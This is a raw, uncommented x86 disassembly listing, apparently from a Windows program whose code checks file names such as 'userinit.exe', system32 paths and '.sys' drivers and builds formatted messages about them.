rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
push 0x51b458
call fcn.0045a020
add esp, 4
cmp dword [0x54d9b4], edi
jne 0x409b3e
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409ab2
call fcn.00403680
add esp, 4
jmp 0x409adb
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491dcc
test eax, eax
jne 0x409b03
call fcn.00404010
add esp, 4
push 0x561ce4
call fcn.0045a020
add esp, 4
jmp 0x408d64
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x561ce4
call fcn.0045a020
add esp, 4
jmp 0x408d64
cmp dword [0x545c68], edi
jne 0x409b58
push 0x50bfa0
call fcn.0045a020
add esp, 4
jmp 0x408d64
cmp dword [0x51931c], edi
je 0x409ca2
cmp dword [0x54ea80], edi
jne 0x409b7e
push str.userinit.exe
push 0x54dc78
call fcn.0045a2b0
add esp, 8
cmp dword [0x50d82c], edi
jne 0x409b98
push 0x57d044
push 0x54e980
call fcn.0045a2b0
add esp, 8
cmp dword [0x50c220], edi
jne 0x409bb2
push 0x57d044
push 0x4def8c
call fcn.0045a2b0
add esp, 8
cmp dword [0x4df450], edi
jne 0x409bcc
push 0x57d044
push 0x50c120
call fcn.0045a2b0
add esp, 8
cmp dword [0x519f10], edi
jne 0x409bf5
cmp dword [0x52f520], edi
jne 0x409be3
call fcn.0044b0a0
jmp 0x409bf5
push 0x48ba7c
push 0x519728
call fcn.0045a2b0
add esp, 8
cmp dword [0x510e4c], edi
jne 0x409c14
push 0x57d044
push 0x561360
call fcn.0045a2b0
add esp, 8
call fcn.004542b0
cmp dword [0x517418], edi
jne 0x409c79
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409c41
call fcn.00403680
add esp, 4
mov dword [0x517418], 0
jmp 0x408d64
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov dword [0x517418], 0
jmp 0x408d64
cmp dword [0x54ab84], edi
jne 0x409cc1
push 0x57d044
push 0x54bcd4
call fcn.0042c670
add esp, 8
mov dword [0x54ab84], 0
call fcn.0046d7c0
mov eax, dword [0x57d034]
test eax, eax
push 0x51afd8
jne 0x408e9f
call fcn.00403680
add esp, 4
jmp 0x408d64
cmp dword [0x54fe58], edi
jne 0x409d2e
call fcn.00431e80
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409ce6
call fcn.00403680
add esp, 4
jmp 0x409d0f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491d74
test eax, eax
jne 0x4090ae
call fcn.00404010
add esp, 4
jmp 0x408d64
cmp dword [0x4f1e14], edi
jne 0x409d9b
call fcn.00435dc0
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409d53
call fcn.00403680
add esp, 4
jmp 0x409d7c
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491d38
test eax, eax
jne 0x4090ae
call fcn.00404010
add esp, 4
jmp 0x408d64
cmp dword [0x4cd884], edi
jne 0x409e1e
push 0x545ae8
call fcn.0042cc30
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491cf8
jne 0x409dc8
call fcn.00404010
add esp, 4
jmp 0x409df6
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
push 0x48b7ec
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x409e1e
push 0x51afd8
call fcn.00403680
add esp, 4
jmp 0x408d64
cmp dword [0x5195a4], edi
jne 0x409e33
push 0x545ae8
call fcn.0045a6f0
add esp, 4
push 0x51afd8
push 0x4cbd80
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x409e4f
inc dword [0x57ce14]
push 0x51afd8
push 0x4cbd80
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x409e72
cmp dword [0x57ce14], 0xf
jle 0x40ba32
mov edi, 0x51afd8
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [0x57d034]
mov edx, ecx
mov esi, edi
mov edi, 0x4cbd80
mov dword [0x57ce14], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x51afd8
and ecx, 3
cmp eax, ebx
rep movsb byte es:[edi], byte [esi]
jne 0x409eb7
call fcn.00403680
add esp, 4
jmp 0x409ee0
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
push 0x48b7ec
push 0x57cb28
mov dword [0x4ca37c], ebx
mov dword [0x54bdd4], ebx
mov byte [0x54e17c], 0
mov byte [0x54e37c], 0
mov dword [0x54d6a4], ebx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x409f2a
cmp dword [0x57cff0], ebx
jne 0x409f2a
cmp dword [0x57cffc], ebx
je 0x408d64
mov eax, dword [0x52d1d8]
mov ebx, 1
cmp eax, ebx
je 0x40aea1
cmp dword [0x54ea80], ebx
je 0x40aea1
cmp dword [0x50c220], ebx
je 0x40aea1
cmp dword [0x519f10], ebx
je 0x40aea1
cmp dword [0x4cd884], ebx
je 0x40aea1
cmp dword [0x50d82c], ebx
je 0x40aea1
cmp dword [0x57cc28], ebx
je 0x40aea1
cmp dword [0x50be1c], ebx
je 0x40aea1
cmp dword [0x54e178], ebx
je 0x40aea1
cmp dword [0x4df450], ebx
je 0x40aea1
cmp dword [0x5193a0], ebx
je 0x40aea1
cmp dword [0x4df5e4], ebx
je 0x40aea1
cmp dword [0x54d92c], ebx
jne 0x40ae75
cmp dword [0x54ab88], ebx
jne 0x40ad9a
push 0x491cf4
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a01a
push 0x491cf0
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a01a
cmp dword [0x57cc98], ebx
je 0x40a01a
cmp dword [0x57cffc], ebx
jne 0x40a0d9
jmp 0x40a022
cmp dword [0x57cffc], ebx
jne 0x40a05c
mov eax, dword [0x57d004]
xor esi, esi
cmp eax, esi
mov dword [0x57cffc], esi
jle 0x40a075
shl eax, 6
or ecx, 0xffffffff
lea edi, [eax + 0x519ed4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x57cb28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x54d6a4
push 0x57cb28
call fcn.0044f590
add esp, 8
mov dword [0x54bdd4], eax
xor esi, esi
mov ecx, dword [0x54bdd4]
push 0x491ce8
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a0a5
mov edx, dword [0x54bdd4]
push 0x491ce0
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a0d1
cmp dword [0x57cc5c], ebx
jne 0x40a0c3
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
push eax
push ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], esi
call fcn.004604f0
add esp, 8
cmp dword [0x57cc98], ebx
jne 0x40a0d1
mov dword [0x57cc9c], ebx
mov dword [0x57cc98], esi
jmp 0x40a0f7
mov edx, dword [0x57ce74]
push 0x54d6a4
push 0x57cb28
push edx
call fcn.00439170
add esp, 0xc
mov dword [0x54bdd4], eax
mov eax, dword [0x54bdd4]
push 0x491cd0
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40aed7
push str..sys
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a16f
push str..SYS
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a16f
push str..Sys
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a16f
mov ecx, dword [0x57cd68]
mov eax, 1
cmp ecx, eax
je 0x40a16f
cmp dword [0x57cff0], eax
jne 0x40aed7
mov eax, dword [0x57cff0]
xor esi, esi
xor ebx, ebx
cmp eax, 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x14], ebx
jne 0x40a224
mov eax, dword [0x57cff8]
mov dword [0x57cff0], esi
cmp eax, esi
jle 0x40a263
shl eax, 6
lea ecx, [eax + 0x54b794]
push ecx
call fcn.00445b70
mov edx, dword [0x57cff8]
mov ebx, eax
shl edx, 6
or ecx, 0xffffffff
xor eax, eax
lea edi, [edx + 0x54b794]
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x54d6a4
mov eax, ecx
mov esi, edi
mov edi, 0x57cb28
push 0x57cb28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [ebp - 0x14], ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x57cb28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [0x54d6a4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0043f2c0
add esp, 8
mov dword [0x54bdd4], eax
xor esi, esi
jmp 0x40a263
push str.tem32_
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a249
push 0x57cb28
call fcn.00445b70
add esp, 4
jmp 0x40a25e
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0x57cb28
call fcn.00465ff0
add esp, 0xc
mov ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x57cb28
push 0x491c98
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0x10
cmp eax, esi
push 0x519828
jne 0x40a293
call fcn.00404010
add esp, 4
jmp 0x40a2bc
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
push 0x491c80
push ebx
call fcn.0047bec0
add esp, 0x1c
test eax, eax
jne 0x408d64
push 0x491c6c
push 0x519828
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a3ba
push str.dump_wmimmc
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x408d64
push 0x52d2dc
call fcn.0045b1a0
mov ebx, dword [0x57cde0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 4
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x54c2a4]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x1c], esi
mov esi, edi
mov edi, dword [ebp - 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x50fa4c]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd9c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cde0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40a3b7
mov dword [0x57cde0], 0
mov ebx, dword [ebp - 0x14]
push str.beep
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x40a3dd
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
push str.null
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x40a400
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
push 0x491c48
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a4f6
push 0x491c3c
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40a4f6
cmp dword [0x57cd64], 1
jne 0x40a43b
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491c08
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40a4a5
call fcn.00404010
add esp, 4
jmp 0x40a4ce
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
push 0x491bf8
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a5d6
cmp dword [0x57cd64], 1
jne 0x40a51b
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40a585
call fcn.00404010
add esp, 4
jmp 0x40a5ae
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
push 0x491bc8
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a73c
push 0x57cb28
call fcn.004694c0
add esp, 4
cmp eax, 1
jne 0x40a73c
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40a66c
call fcn.00404010
add esp, 4
jmp 0x40a695
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x1c], esi
mov esi, edi
mov edi, dword [ebp - 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40a73c
mov dword [0x57cda0], 0
mov ebx, dword [ebp - 0x14]
push 0x491bbc
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a826
push 0x491bc8
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a826
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40a7d5
call fcn.00404010
add esp, 4
jmp 0x40a7fe
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
mov ecx, dword [0x54bdd4]
push 0x491b90
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a922
push 0x491ba0
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40a922
cmp dword [0x57cd64], 1
jne 0x40a867
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40a8d1
call fcn.00404010
add esp, 4
jmp 0x40a8fa
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
mov edx, dword [0x54bdd4]
push 0x491b90
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aa67
push 0x491b68
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aa67
cmp dword [ebp - 0x18], 0xa
jle 0x40a99d
cmp dword [ebp - 0x30], 5
jle 0x40a99d
push 0x57cb28
push 0x491b70
push 0x519828
mov byte [0x519828], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40aa16
call fcn.00404010
add esp, 4
jmp 0x40aa3f
cmp dword [0x57cd64], 1
jne 0x40a9ac
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40aa16
call fcn.00404010
add esp, 4
jmp 0x40aa3f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
mov eax, dword [0x54bdd4]
push 0x491b90
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
mov ecx, dword [ebp - 0x14]
push 0x491b5c
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40aed7
mov edx, dword [ebp - 0x14]
push 0x491c3c
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40aed7
push 0x5649a8
call fcn.00449260
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40aad5
cmp ebx, 1
je 0x40aad5
cmp ebx, 2
jne 0x40abc5
cmp dword [0x57cd64], 1
jne 0x40aae4
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
cmp ebx, 2
mov byte [0x519828], 0
jne 0x40ab30
push 0x57cb28
push 0x491b2c
jmp 0x40ab4f
cmp ebx, 1
jne 0x40ab41
push 0x57cb28
push 0x491b2c
jmp 0x40ab4f
test ebx, ebx
jne 0x40ab5c
push 0x57cb28
push 0x491af8
push 0x519828
call fcn.0047a8f8
add esp, 0xc
mov eax, dword [0x57d034]
push 0x519828
test eax, eax
jne 0x40ab74
call fcn.00404010
add esp, 4
jmp 0x40ab9d
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
cmp ebx, 3
jne 0x40aed7
mov eax, dword [ebp - 0x14]
push 0x491aec
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
mov esi, dword [ebp - 0x14]
push 0x491ae4
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40ac48
push 0x491adc
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40ac48
push 0x491bc8
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40ac48
push 0x491ad4
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40ac48
push 0x491acc
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
cmp dword [0x57cd64], 1
jne 0x40ac57
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491a84
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x40acc1
call fcn.00404010
add esp, 4
jmp 0x40acea
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cd98], 1
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40aed7
mov dword [0x57cda0], 0
jmp 0x40aed7
push 0x54d6a4
push 0x57cb28
call fcn.0043f2c0
mov ecx, dword [0x54d6a4]
add esp, 8
mov dword [0x54bdd4], eax
push str..sys
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40ade5
mov edx, dword [0x54d6a4]
push str..Sys
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
mov eax, dword [0x54bdd4]
push 0x491b90
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
mov ecx, dword [0x54bdd4]
push 0x491a7c
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40aed7
push 0x5649a8
call fcn.00449260
add esp, 4
test eax, eax
je 0x40ae3b
cmp eax, 1
je 0x40ae3b
cmp eax, 2
jne 0x40aed7
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cd98], 1
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov eax, ecx
jmp 0x40ad47
push 0xfa
lea ecx, [ebp - 0xcb8]
push 0x57cb28
push ecx
call fcn.0047b120
lea edx, [ebp - 0xcb8]
push 0x54d6a4
push edx
call fcn.004246e0
add esp, 0x14
jmp 0x40aed2
push 0xfa
lea eax, [ebp - 0xdb8]
push 0x57cb28
push eax
call fcn.0047b120
mov ecx, dword [0x57cd6c]
lea edx, [ebp - 0xdb8]
push ecx
push 0x54d6a4
push edx
call fcn.0044b170
add esp, 0x18
mov dword [0x54bdd4], eax
push 0x54e37c
push 0x54e17c
push 0x491a74
push 0x4cbd80
mov byte [0x519828], 0
call fcn.0047be7d
mov eax, dword [0x54bdd4]
push 0xfa
lea ecx, [ebp - 0x1b8]
push eax
push ecx
call fcn.0047b120
mov edx, dword [0x54bdd4]
mov eax, dword [0x54d6a4]
push edx
push eax
push 0x54e17c
push 0x491a50
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0x30
test eax, eax
push 0x519828
jne 0x40af4a
call fcn.00403680
add esp, 4
jmp 0x40af73
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
lea ecx, [ebp - 0x1b8]
push 0x491a4c
push ecx
call fcn.0047bec0
lea edx, [ebp - 0x1b8]
mov esi, eax
push 0x491ce0
push edx
mov dword [ebp - 0x30], esi
call fcn.0047bec0
mov edi, eax
lea eax, [ebp - 0x1b8]
push 0x491a40
push eax
mov dword [ebp - 0x20], edi
call fcn.0047bec0
lea ecx, [ebp - 0x1b8]
push 0x491a38
push ecx
mov dword [ebp - 0x18], eax
call fcn.0047bec0
lea edx, [ebp - 0x1b8]
mov ebx, eax
push 0x491a2c
push edx
mov dword [ebp - 0x2c], ebx
call fcn.0047bec0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x1b8]
push 0x491c80
push eax
call fcn.0047bec0
lea ecx, [ebp - 0x1b8]
push 0x491a20
push ecx
mov dword [ebp - 0x14], eax
call fcn.0047bec0
mov edx, dword [0x50c220]
mov ecx, 1
add esp, 0x38
cmp edx, ecx
jne 0x40b022
test esi, esi
jne 0x40b01c
test edi, edi
je 0x40b022
mov dword [0x57cec0], ecx
cmp dword [0x50c364], ecx
jne 0x40b0c0
test esi, esi
mov dword [0x50c364], 0
jne 0x40b048
test edi, edi
jne 0x40b048
test ebx, ebx
jne 0x40b048
test eax, eax
je 0x40b0c0
push 0x50c0a0
call fcn.0045b200
add esp, 4
lea edx, [ebp - 0xb8]
push edx
push 0x50c0a0
call fcn.004781b0
lea edi, [ebp - 0xb8]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test esi, esi
jle 0x40b08e
lea eax, [ebp - 0xb8]
push eax
call fcn.0045b200
add esp, 4
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40b0a0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40b0a0
test ebx, ebx
je 0x40b0c0
push 0x50c0a0
call fcn.00477d10
add esp, 4
test esi, esi
jle 0x40b0c0
lea ecx, [ebp - 0xb8]
push ecx
call fcn.00477d10
add esp, 4
mov eax, dword [0x54ab88]
mov esi, 1
cmp eax, esi
jne 0x40b189
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, ecx
je 0x40b107
mov edi, 0x5649a8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x54f88c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
